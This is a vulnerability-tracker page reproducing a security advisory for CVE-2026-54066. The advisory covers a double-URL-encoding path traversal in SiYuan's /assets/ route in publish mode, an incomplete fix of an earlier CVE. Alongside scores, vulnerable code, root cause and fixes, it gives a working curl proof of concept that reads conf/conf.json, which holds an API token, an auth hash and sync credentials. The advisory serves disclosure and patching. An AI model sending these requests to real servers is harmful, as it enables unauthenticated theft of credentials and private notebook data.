Kestrel
대시보드로 돌아가기
CVE-2026-54066HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 06. 24.수정일: 2026. 07. 10.

SiYuan: Path Traversal via Double URL Encoding in /assets/*path (publish mode arbitrary file─read), Incomplete fix of CVE-2026-41894

Path-Traversal

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
1.9%상위 22.6%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

상세 설명

Summary

The patch for CVE-2026-41894 ("Path Traversal via Double URL Encoding") sanitized the /export/ route but the
identical root cause remains in the /assets/*path route. In publish mode (anonymous read-only HTTP endpoint,
default port 6808), an unauthenticated remote attacker can read arbitrary files inside WorkspaceDir — including
conf/conf.json (which contains the AccessAuthCode SHA256 hash, API token, and sync keys), temp/siyuan.db,
temp/blocktree.db, and siyuan.log — by double-URL-encoding .. segments.

Verified against siyuan v3.6.5:

  • GET /assets/%252e%252e/%252e%252e/conf/conf.jsonHTTP 200, 10349 bytes (conf.json served)
  • GET /export/%252e%252e/%252e%252e/conf/conf.json → HTTP 401 (patched)
  • GET /assets/%2e%2e/conf/conf.json → HTTP 404 (single-decode handled correctly)

Vulnerable Code

Step 1 — route & first decode (kernel/server/serve.go:587-626):
The router registers GET /assets/*path for the publish listener. Gin performs one URL decoding pass on URL.Path,
so a request for /assets/%252e%252e/... yields context.Param("path") == "/%2e%2e/%2e%2e/conf/conf.json" — literal
%2e%2e strings, which path.Clean cannot collapse.

Step 2 — second decode via fallback (kernel/model/assets.go:536-563, GetAssetAbsPath):

text
1p, err := getAssetAbsPath(relativePath)
2if nil != err {
3 // fallback
4 decoded, e := url.PathUnescape(relativePath) // ← line 548, second decode
5 if nil == e {
6 p, err = getAssetAbsPath(decoded)
7 }
8}

After the fallback decodes %2e%2e to .., filepath.Join(DataDir, "../../conf/conf.json") is Clean-ed to
WorkspaceDir/conf/conf.json, an existing file.

Step 3 — publish-mode access gate fall-through (kernel/model/publish_access.go:288,
CheckAbsPathAccessableByPublishAccess):

text
1if !filelock.IsSubPath(util.DataDir, absPath) {
2 return true // ← fall-through allows anything outside DataDir but inside WorkspaceDir
3}

Because the resolved file is outside DataDir (it's in WorkspaceDir), the gate returns true and
IsSensitivePath() is never invoked — .db / .log / conf/ denylists do not apply to the /assets/ route at all
(unlike the patched /export/ route, which additionally checks IsSubPath(exportBaseDir, ...)).

Step 4 — file served (http.ServeFile): the request URL.Path contains literal %2e%2e, not .., so Go's
containsDotDot guard passes and the file is sent.

PoC

Preconditions: siyuan kernel running with publish mode enabled (conf.publish.enable = true). Publish mode is the
documented anonymous read-only endpoint for sharing notebooks.

bash
1$ curl -i "http://victim:6808/assets/%252e%252e/%252e%252e/conf/conf.json"
2HTTP/1.1 200 OK
3Content-Length: 10349
4Content-Type: application/json
5...
6{"appearance":{...},"editor":{...},"system":{...},"accessAuthCode":"<sha256>","api":{"token":"<api token>"}, ...}

Compared with the patched route:

bash
1$ curl -i "http://victim:6808/export/%252e%252e/%252e%252e/conf/conf.json"
2HTTP/1.1 401 Unauthorized

Root Cause

Three independent flaws combine:

  1. GetAssetAbsPath performs a second url.PathUnescape as a "compatibility" fallback, re-introducing the
    double-decode primitive that the CVE-2026-41894 patch eliminated on /export/.
  2. CheckAbsPathAccessableByPublishAccess returns true for any path outside DataDir, even when that path is still
    inside WorkspaceDir (which contains conf/conf.json, temp/*.db, siyuan.log).
  3. The IsSensitivePath() denylist applied to /export/ is not called from the /assets/ handler.

Impact

Unauthenticated remote arbitrary file read inside WorkspaceDir. Confirmed-readable files include:

  • conf/conf.jsonaccessAuthCode SHA256 (offline crackable), API token, S3/WebDAV sync credentials.
  • temp/siyuan.db, temp/blocktree.db, temp/asset_content.db — full notebook content (SQLite).
  • siyuan.log — internal paths, OS username, plugin info.

Compromise of accessAuthCode / API token escalates to authenticated kernel API access (full read/write of all
notebooks). Compromise of sync credentials escalates beyond the host.

Fix

  1. Remove the url.PathUnescape fallback in GetAssetAbsPath (assets.go:548), matching the /export/ patch.
  2. In CheckAbsPathAccessableByPublishAccess, replace the IsSubPath(DataDir, ...) fall-through with an explicit
    allowlist (only DataDir and its publishable subtree) and always call IsSensitivePath().
  3. Apply IsSensitivePath() inside the /assets/*path handler in serve.go as defense-in-depth.

Status

Privately reported via GitHub Security Advisory. PoC reproduced locally against v3.6.5 (publish port 6808): GET /assets/%252e%252e/%252e%252e/conf/conf.json returned HTTP 200 / 10349 bytes.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.